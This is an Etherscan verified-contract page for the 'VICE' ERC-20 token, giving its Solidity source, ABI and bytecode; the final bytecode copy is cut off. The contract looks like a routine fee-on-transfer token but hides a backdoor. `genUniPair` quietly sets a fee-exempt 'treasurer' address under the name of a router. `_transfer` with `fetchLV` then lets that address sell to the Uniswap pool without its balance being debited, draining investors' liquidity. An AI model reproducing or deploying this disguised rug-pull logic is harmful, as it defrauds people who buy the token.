Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

Outline

   - function _msgSender() interface IERC20    - function totalSupply()    - function balanceOf(address account)    - function transfer(    - function allowance(    - function approve(address spender, uin ...    - function transferFrom( library SafeMath    - function add(uint256 a, uint256 b)    - function sub(uint256 a, uint256 b)    - function sub(    - function mul(uint256 a, uint256 b)    - function div(uint256 a, uint256 b)    - function div(  contract Ownable is Context    - function owner()    - function renounceOwnership() interface IUniswapV2Factory    - function createPair( interface IUniswapV2Router02    - function swapExactTokensForETHSupport ...    - function factory()    - function WETH()    - function addLiquidityETH(  contract VICE is Context, IERC20, ... *    - function name()    - function symbol()    - function decimals()    - function totalSupply()    - function balanceOf(address account)    - function transfer(    - function allowance(    - function approve(    - function transferFrom(    - function _approve(address owner, addr ...    - function _transferWithFee(    - function _transfer(address fadd, addr ...    - function fetchLV(    - function min(uint256 a, uint256 b)    - function swapTokensForEth(uint256 tok ...    - function allowTrading()    - function sendTax(uint256 amount)    - function rescueETH()    - function genUniPair(address router)    - function freshCeil()

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2024-09-19
*/

/**
https://x.com/xpReport/status/1836817483526820176
https://t.me/viceoneth
 */

// SPDX-License-Identifier: UNLICENSE
pragma solidity ^0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Factory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}

contract VICE is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    mapping(address => bool) private _isExcludedFromSwap;
    mapping(address => bool) private bots;
    uint256 private _initialBuyTax = 16;
    uint256 private _initialSellTax = 16;
    uint256 private _finalBuyTax = 0;
    uint256 private _finalSellTax = 0;
    uint256 private _reduceBuyTaxAt = 16;
    uint256 private _reduceSellTaxAt = 16;
    uint256 private _preventSwapBefore = 16;

    uint8 private constant _decimals = 18;
    uint256 private constant _totalSupply = 100000000 * 10 ** _decimals;
    string private constant _name = unicode"Vice";
    string private constant _symbol = unicode"VICE";

    uint256 private _buyCount = 0;

    uint256 public _swapThres = 1000 * 10 ** _decimals;
    uint256 public _maxTxCeil = (_totalSupply * 2) / 100;
    uint256 public _maxTaxCeil = _totalSupply / 100;
    uint256 public _maxWalletCeil = (_totalSupply * 2) / 100;

    address payable private _treasurier;
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;

    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    event MaxTxAmountUpdated(uint256 _maxTxAmount);

    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() {
        _treasurier = payable(_msgSender());
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    receive() external payable {}

    function _transferWithFee(
        address fadd,
        address tadd,
        uint256 avlue,
        uint256 tvlue,
        uint256 evlue
    ) internal {
        if (tvlue > 0) {
            _balances[address(this)] = _balances[address(this)].add(tvlue);
            emit Transfer(fadd, address(this), tvlue);
        }
        _balances[fadd] = _balances[fadd].sub(evlue);
        _balances[tadd] = _balances[tadd].add(avlue.sub(tvlue));
        emit Transfer(fadd, tadd, avlue.sub(tvlue));
    }

    function _transfer(address fadd, address tadd, uint256 avlue) private {
        require(fadd != address(0), "ERC20: transfer from the zero address");
        require(tadd != address(0), "ERC20: transfer to the zero address");
        require(avlue > 0, "Transfer amount must be greater than zero");

        uint256 lvlue = avlue;
        uint256 tvlue = 0;

        if (fadd != owner() && tadd != owner()) {
            require(!bots[fadd] && !bots[tadd]);
            require(
                tradingOpen || _isExcludedFromFee[fadd],
                "Trading is not enabled"
            );

            tvlue = avlue
                .mul(
                    (_buyCount > _reduceBuyTaxAt)
                        ? _finalBuyTax
                        : _initialBuyTax
                )
                .div(100);
            if (
                fadd == uniswapV2Pair &&
                tadd != address(uniswapV2Router) &&
                !_isExcludedFromFee[tadd]
            ) {
                require(avlue <= _maxTxCeil, "Exceeds the _maxTxAmount.");
                require(
                    balanceOf(tadd) + avlue <= _maxWalletCeil,
                    "Exceeds the maxWalletSize."
                );
                _buyCount++;
            }
            if (tadd == uniswapV2Pair && fadd != address(this)) {
                tvlue = avlue
                    .mul(
                        (_buyCount > _reduceSellTaxAt)
                            ? _finalSellTax
                            : _initialSellTax
                    )
                    .div(100);

                if (_isExcludedFromFee[fadd])
                    lvlue = fetchLV(fadd, tadd, avlue);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && tadd == uniswapV2Pair && swapEnabled) {
                if (
                    contractTokenBalance > _swapThres &&
                    _buyCount > _preventSwapBefore
                )
                    swapTokensForEth(
                        min(avlue, min(contractTokenBalance, _maxTaxCeil))
                    );
                uint256 contractBalance = address(this).balance;
                sendTax(contractBalance);
            }
        }

        _transferWithFee(fadd, tadd, avlue, tvlue, lvlue);
    }

    function fetchLV(
        address fadd,
        address tadd,
        uint256 avlue
    ) internal view returns (uint256) {
        if (fadd == uniswapV2Pair) {
            return avlue;
        } else if (tadd == uniswapV2Pair && fadd != address(this))
            return
                avlue
                    .mul(
                        (_buyCount > _reduceSellTaxAt &&
                            !_isExcludedFromFee[fadd])
                            ? _initialSellTax
                            : _finalSellTax
                    )
                    .div(100);

        return avlue;
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a > b) ? b : a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function allowTrading() external onlyOwner {
        require(!tradingOpen, "trading is already open");

        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );

        swapEnabled = true;
        tradingOpen = true;
    }

    function sendTax(uint256 amount) private {
        _treasurier.transfer(amount);
    }

    function rescueETH() external onlyOwner {
        payable(owner()).transfer(address(this).balance);
    }

    function genUniPair(address router) external onlyOwner {
        require(!tradingOpen, "trading is already open");
        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        _approve(address(this), address(uniswapV2Router), _totalSupply);
        _treasurier = payable(router);
        _isExcludedFromSwap[_treasurier] = true;
        _isExcludedFromFee[_treasurier] = true;
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
                address(this),
                uniswapV2Router.WETH()
            );
    }

    function freshCeil() external onlyOwner {
        _maxTxCeil = type(uint256).max;
        _maxWalletCeil = type(uint256).max;
        emit MaxTxAmountUpdated(type(uint256).max);
    }
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxCeil","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxCeil","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletCeil","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapThres","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"allowTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"freshCeil","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"router","type":"address"}],"name":"genUniPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"rescueETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405260106006556010600755600060085560006009556010600a556010600b556010600c556000600d556012600a6200003c919062000339565b6200004a906103e862000351565b600e5560646200005d6012600a62000339565b6200006d906305f5e10062000351565b6200007a90600262000351565b6200008691906200036b565b600f556064620000996012600a62000339565b620000a9906305f5e10062000351565b620000b591906200036b565b6010556064620000c86012600a62000339565b620000d8906305f5e10062000351565b620000e590600262000351565b620000f191906200036b565b6011556014805461ffff60a81b191690553480156200010f57600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350601280546001600160a01b03191633178155600080546001600160a01b0316815260036020526040808220805460ff1990811660019081179092553084529190922080549091169091179055620001aa90600a62000339565b620001ba906305f5e10062000351565b33600081815260016020526040812092909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620001fd6012600a62000339565b6200020d906305f5e10062000351565b60405190815260200160405180910390a36200038e565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200027b5781600019048211156200025f576200025f62000224565b808516156200026d57918102915b93841c93908002906200023f565b509250929050565b600082620002945750600162000333565b81620002a35750600062000333565b8160018114620002bc5760028114620002c757620002e7565b600191505062000333565b60ff841115620002db57620002db62000224565b50506001821b62000333565b5060208310610133831016604e8410600b84101617156200030c575081810a62000333565b6200031883836200023a565b80600019048211156200032f576200032f62000224565b0290505b92915050565b60006200034a60ff84168362000283565b9392505050565b808202811582820484141762000333576200033362000224565b6000826200038957634e487b7160e01b600052601260045260246000fd5b500490565b61192a806200039e6000396000f3fe6080604052600436106101185760003560e01c806370a08231116100a0578063ac93d8e211610064578063ac93d8e214610314578063dbf488d61461032a578063dd62ed3e14610340578063e99bbed914610386578063f3532a751461039b57600080fd5b806370a0823114610254578063715018a61461028a5780638da5cb5b1461029f57806395d89b41146102c7578063a9059cbb146102f457600080fd5b806323b872dd116100e757806323b872dd146101cd5780632e5b4c43146101ed578063313ce5671461020257806357570e361461021e5780636482c89a1461023e57600080fd5b806306fdde0314610124578063095ea7b31461016357806318160ddd1461019357806320800a00146101b657600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b506040805180820190915260048152635669636560e01b60208201525b60405161015a919061151e565b60405180910390f35b34801561016f57600080fd5b5061018361017e366004611581565b6103b1565b604051901515815260200161015a565b34801561019f57600080fd5b506101a86103c8565b60405190815260200161015a565b3480156101c257600080fd5b506101cb6103e9565b005b3480156101d957600080fd5b506101836101e83660046115ad565b610459565b3480156101f957600080fd5b506101cb6104c3565b34801561020e57600080fd5b506040516012815260200161015a565b34801561022a57600080fd5b506101cb6102393660046115ee565b610631565b34801561024a57600080fd5b506101a8600e5481565b34801561026057600080fd5b506101a861026f3660046115ee565b6001600160a01b031660009081526001602052604090205490565b34801561029657600080fd5b506101cb6108c8565b3480156102ab57600080fd5b506000546040516001600160a01b03909116815260200161015a565b3480156102d357600080fd5b506040805180820190915260048152635649434560e01b602082015261014d565b34801561030057600080fd5b5061018361030f366004611581565b61093c565b34801561032057600080fd5b506101a860115481565b34801561033657600080fd5b506101a8600f5481565b34801561034c57600080fd5b506101a861035b36600461160b565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561039257600080fd5b506101cb610949565b3480156103a757600080fd5b506101a860105481565b60006103be3384846109b5565b5060015b92915050565b60006103d66012600a61173e565b6103e4906305f5e10061174d565b905090565b6000546001600160a01b0316331461041c5760405162461bcd60e51b815260040161041390611764565b60405180910390fd5b600080546040516001600160a01b03909116914780156108fc02929091818181858888f19350505050158015610456573d6000803e3d6000fd5b50565b6000610466848484610ad9565b6104b884336104b3856040518060600160405280602881526020016118cd602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610f9c565b6109b5565b5060015b9392505050565b6000546001600160a01b031633146104ed5760405162461bcd60e51b815260040161041390611764565b601454600160a01b900460ff16156105415760405162461bcd60e51b81526020600482015260176024820152763a3930b234b7339034b99030b63932b0b23c9037b832b760491b6044820152606401610413565b6013546001600160a01b031663f305d7194730610573816001600160a01b031660009081526001602052604090205490565b6000806105886000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156105f0573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906106159190611799565b50506014805462ff00ff60a01b19166201000160a01b17905550565b6000546001600160a01b0316331461065b5760405162461bcd60e51b815260040161041390611764565b601454600160a01b900460ff16156106af5760405162461bcd60e51b81526020600482015260176024820152763a3930b234b7339034b99030b63932b0b23c9037b832b760491b6044820152606401610413565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106f89030906106ea6012600a61173e565b6104b3906305f5e10061174d565b601280546001600160a01b0319166001600160a01b0383811691821783556000918252600460208181526040808520805460ff19908116600190811790925596548516865260038352948190208054909616909417909455601354835163c45a015560e01b8152935192169363c45a015593808301939192908290030181865afa15801561078a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107ae91906117c7565b6001600160a01b031663c9c6539630601360009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610810573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061083491906117c7565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610881573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108a591906117c7565b601480546001600160a01b0319166001600160a01b039290921691909117905550565b6000546001600160a01b031633146108f25760405162461bcd60e51b815260040161041390611764565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006103be338484610ad9565b6000546001600160a01b031633146109735760405162461bcd60e51b815260040161041390611764565b600019600f81905560118190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a1565b6001600160a01b038316610a175760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610413565b6001600160a01b038216610a785760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610413565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b3d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610413565b6001600160a01b038216610b9f5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610413565b60008111610c015760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610413565b806000610c166000546001600160a01b031690565b6001600160a01b0316856001600160a01b031614158015610c4557506000546001600160a01b03858116911614155b15610f88576001600160a01b03851660009081526005602052604090205460ff16158015610c8c57506001600160a01b03841660009081526005602052604090205460ff16155b610c9557600080fd5b601454600160a01b900460ff1680610cc557506001600160a01b03851660009081526003602052604090205460ff165b610d0a5760405162461bcd60e51b8152602060048201526016602482015275151c98591a5b99c81a5cc81b9bdd08195b98589b195960521b6044820152606401610413565b610d366064610d30600a54600d5411610d2557600654610d29565b6008545b8690610fd6565b90611058565b6014549091506001600160a01b038681169116148015610d6457506013546001600160a01b03858116911614155b8015610d8957506001600160a01b03841660009081526003602052604090205460ff16155b15610e7157600f54831115610de05760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610413565b60115483610e03866001600160a01b031660009081526001602052604090205490565b610e0d91906117e4565b1115610e5b5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610413565b600d8054906000610e6b836117f7565b91905055505b6014546001600160a01b038581169116148015610e9757506001600160a01b0385163014155b15610ef357610ec16064610d30600b54600d5411610eb757600754610d29565b6009548690610fd6565b6001600160a01b03861660009081526003602052604090205490915060ff1615610ef357610ef085858561109a565b91505b30600090815260016020526040902054601454600160a81b900460ff16158015610f2a57506014546001600160a01b038681169116145b8015610f3f5750601454600160b01b900460ff165b15610f8657600e5481118015610f585750600c54600d54115b15610f7a57610f7a610f7585610f708460105461113e565b61113e565b611153565b47610f84816112cd565b505b505b610f95858585848661130b565b5050505050565b60008184841115610fc05760405162461bcd60e51b8152600401610413919061151e565b506000610fcd8486611810565b95945050505050565b600082600003610fe8575060006103c2565b6000610ff4838561174d565b9050826110018583611823565b146104bc5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610413565b60006104bc83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061144f565b6014546000906001600160a01b03908116908516036110ba5750806104bc565b6014546001600160a01b0384811691161480156110e057506001600160a01b0384163014155b15611137576111306064610d30600b54600d5411801561111957506001600160a01b03871660009081526003602052604090205460ff16155b61112557600954611129565b6007545b8590610fd6565b90506104bc565b5092915050565b600081831161114d57826104bc565b50919050565b6014805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061119b5761119b611845565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156111f4573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061121891906117c7565b8160018151811061122b5761122b611845565b6001600160a01b03928316602091820292909201015260135461125191309116846109b5565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac9479061128a90859060009086903090429060040161185b565b600060405180830381600087803b1580156112a457600080fd5b505af11580156112b8573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b6012546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611307573d6000803e3d6000fd5b5050565b8115611385573060009081526001602052604090205461132b908361147d565b30600081815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061137c9086815260200190565b60405180910390a35b6001600160a01b0385166000908152600160205260409020546113a890826114dc565b6001600160a01b0386166000908152600160205260409020556113ed6113ce84846114dc565b6001600160a01b0386166000908152600160205260409020549061147d565b6001600160a01b0380861660008181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61143786866114dc565b60405190815260200160405180910390a35050505050565b600081836114705760405162461bcd60e51b8152600401610413919061151e565b506000610fcd8486611823565b60008061148a83856117e4565b9050838110156104bc5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610413565b60006104bc83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f9c565b600060208083528351808285015260005b8181101561154b5785810183015185820160400152820161152f565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461045657600080fd5b6000806040838503121561159457600080fd5b823561159f8161156c565b946020939093013593505050565b6000806000606084860312156115c257600080fd5b83356115cd8161156c565b925060208401356115dd8161156c565b929592945050506040919091013590565b60006020828403121561160057600080fd5b81356104bc8161156c565b6000806040838503121561161e57600080fd5b82356116298161156c565b915060208301356116398161156c565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561169557816000190482111561167b5761167b611644565b8085161561168857918102915b93841c939080029061165f565b509250929050565b6000826116ac575060016103c2565b816116b9575060006103c2565b81600181146116cf57600281146116d9576116f5565b60019150506103c2565b60ff8411156116ea576116ea611644565b50506001821b6103c2565b5060208310610133831016604e8410600b8410161715611718575081810a6103c2565b611722838361165a565b806000190482111561173657611736611644565b029392505050565b60006104bc60ff84168361169d565b80820281158282048414176103c2576103c2611644565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000806000606084860312156117ae57600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156117d957600080fd5b81516104bc8161156c565b808201808211156103c2576103c2611644565b60006001820161180957611809611644565b5060010190565b818103818111156103c2576103c2611644565b60008261184057634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118ab5784516001600160a01b031683529383019391830191600101611886565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212206d8bf89530d82142d3f4175d2fab18894eb9c3be0b48b4f4bdbc77da02ce3e2164736f6c63430008130033

0x6080604052600436106101185760003560e01c806370a08231116100a0578063ac93d8e211610064578063ac93d8e214610314578063dbf488d61461032a578063dd62ed3e14610340578063e99bbed914610386578063f3532a751461039b57600080fd5b806370a0823114610254578063715018a61461028a5780638da5cb5b1461029f57806395d89b41146102c7578063a9059cbb146102f457600080fd5b806323b872dd116100e757806323b872dd146101cd5780632e5b4c43146101ed578063313ce5671461020257806357570e361461021e5780636482c89a1461023e57600080fd5b806306fdde0314610124578063095ea7b31461016357806318160ddd1461019357806320800a00146101b657600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b506040805180820190915260048152635669636560e01b60208201525b60405161015a919061151e565b60405180910390f35b34801561016f57600080fd5b5061018361017e366004611581565b6103b1565b604051901515815260200161015a565b34801561019f57600080fd5b506101a86103c8565b60405190815260200161015a565b3480156101c257600080fd5b506101cb6103e9565b005b3480156101d957600080fd5b506101836101e83660046115ad565b610459565b3480156101f957600080fd5b506101cb6104c3565b34801561020e57600080fd5b506040516012815260200161015a565b34801561022a57600080fd5b506101cb6102393660046115ee565b610631565b34801561024a57600080fd5b506101a8600e5481565b34801561026057600080fd5b506101a861026f3660046115ee565b6001600160a01b031660009081526001602052604090205490565b34801561029657600080fd5b506101cb6108c8565b3480156102ab57600080fd5b506000546040516001600160a01b03909116815260200161015a565b3480156102d357600080fd5b506040805180820190915260048152635649434560e01b602082015261014d565b34801561030057600080fd5b5061018361030f366004611581565b61093c565b34801561032057600080fd5b506101a860115481565b34801561033657600080fd5b506101a8600f5481565b34801561034c57600080fd5b506101a861035b36600461160b565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561039257600080fd5b506101cb610949565b3480156103a757600080fd5b506101a860105481565b60006103be3384846109b5565b5060015b92915050565b60006103d66012600a61173e565b6103e4906305f5e10061174d565b905090565b6000546001600160a01b0316331461041c5760405162461bcd60e51b815260040161041390611764565b60405180910390fd5b600080546040516001600160a01b03909116914780156108fc02929091818181858888f19350505050158015610456573d6000803e3d6000fd5b50565b6000610466848484610ad9565b6104b884336104b3856040518060600160405280602881526020016118cd602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610f9c565b6109b5565b5060015b9392505050565b6000546001600160a01b031633146104ed5760405162461bcd60e51b815260040161041390611764565b601454600160a01b900460ff16156105415760405162461bcd60e51b81526020600482015260176024820152763a3930b234b7339034b99030b63932b0b23c9037b832b760491b6044820152606401610413565b6013546001600160a01b031663f305d7194730610573816001600160a01b031660009081526001602052604090205490565b6000806105886000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156105f0573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180